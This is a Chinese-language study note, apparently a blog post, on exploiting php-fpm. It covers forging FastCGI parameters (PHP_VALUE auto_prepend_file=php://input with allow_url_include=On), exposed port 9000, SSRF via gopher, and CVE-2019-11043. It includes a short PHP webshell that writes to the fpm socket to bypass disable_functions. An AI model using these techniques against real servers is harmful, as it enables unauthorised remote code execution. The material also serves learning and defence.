php-fpm是一个FastCGI协议进程管理器,实现php与nginx之间的通信功能

key-value

nginx接收到一个http请求后,会转换为一个key-value对来保存信息,然后通过FastCGI协议传递给php-fpm,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

**php-fpm获取到key-value后,会将其设置为自己的系统变量fastcgi_params**,其中会让php执行其中SCRIPT_FILENAME对应的文件,如果该文件不存在则404

并且,由于php-fpm配置文件中会限制解析的文件后缀(默认为.php),不是.php后缀则返回403,所以在伪造FastCGI协议发包时,必须得指定一个存在的php文件

总的来说,即使通过伪造FastCGI包指定SCRIPT_FILENAME的值,也只能执行服务器上已有的php文件

php-fpm暂时覆盖php.ini配置

使用php-fpm中的系统变量PHP_VALUE/PHP_FLAGPHP_ADMIN_VALUE/PHP_ADMIN_FLAG可以暂时覆盖php.ini中的配置(disable_functionsdisable_classes除外)

同时,通过设置php.ini中auto_prepend_file或者auto_append_file的值,可以在php执行前或者执行后,包含对应的文件

这两项的值还可以是php协议流,例如我们设置auto_prepend_file=php://input,即php运行之前会包含执行http中的body内容,当然前提条件还需要设置allow_url_include=On

综上,我们要伪造的FastCGI协议中key-value对就需要如下关键内容

1
2
3
4
5
6
7
8
{
...
'SCRIPT_FILENAME': '/var/www/html/index.php',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On',
...
}

php-fpm有两中工作模式,分别为TCP模式和Unix Socket模式,以不同方式运行的php-fpm,利用方法也有所不同

TCP模式

这种模式下,php-fpm会监听一个端口,默认9000,接收ngnix的FastCGI数据

修改/etc/nginx/sites-enabled/default中配置php的部分

1
2
3
4
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass 127.0.0.1:9000;
}

该配置指定nginx往127.0.0.1:9000发送数据

php-fpm未授权漏洞

接着修改php-fpm配置文件/etc/php/7.2/fpm/pool.d/www.conf

1
listen = 0.0.0.0:9000

意思是在9000端口接收任意ip地址发来的内容,通过发送伪造FastCGI协议的TCP包,可执行任意代码,师傅的脚本

SSRF gopher协议打php-fpm

于是为了安全,php-fpm一般都是设置listen = 127.0.0.1:9000

这种情况限制在内网里,可以采用SSRF+gopher协议发tcp包来打,有现成的工具Gopherus

Unix Socket模式

Unix Socket是Unix系统进程间通信的一种方式,一般以.sock文件作为唯一标志,也就是说php-fpm和nginx两个进程之间通过对这样一个文件的读写进行通信

修改/etc/nginx/sites-enabled/default中配置php的部分

1
2
3
4
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
}

修改/etc/php/7.2/fpm/pool.d/www.conf

1
listen = /run/php/php7.2-fpm.sock

以上这种方式的通信中,可以看到所指定的/var/run/php/php7.2-fpm.sock起到了很关键的作用,如果能够控制该文件的写入内容,便可执行任意代码

利用场景就是webshell绕过disable_function限制

绕disable_function用作webshell

sock.php为目标的webshell,代码如下:

1
2
3
4
5
<?php
$sock=stream_socket_client('unix:///var/run/php/php7.2-fpm.sock');
fputs($sock, $_POST['A']);
var_dump(fread($sock, 4096));
?>

通过Gopherus获取payload

使用curl发送到webshell,返回命令执行结果

CVE-2019-11043

该漏洞的具体分析牵涉到部分二进制的内容,看得我云里雾里的,tcl

最后实现漏洞利用和上面操作一样,仍然是通过PHP_VALUE覆盖php.ini中的值,不过好像由于字符数限制,不能使用包含php://input的方式,采用的是指定error_log将shell导入临时文件,再包含之

漏洞作者的工具

总结

  • TCP模式下,php-fpm未授权漏洞,或者SSRF+gopher协议打内网php-fpm
  • Unix Socket模式下,webshell绕过disable_function
  • php-fpm的历史漏洞CVE-2019-11043

Reference

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://xz.aliyun.com/t/5598
https://evoa.me/index.php/archives/52/
https://github.com/tarunkant/Gopherus
https://xz.aliyun.com/t/6672
https://paper.seebug.org/1063
https://github.com/neex/phuip-fpizdam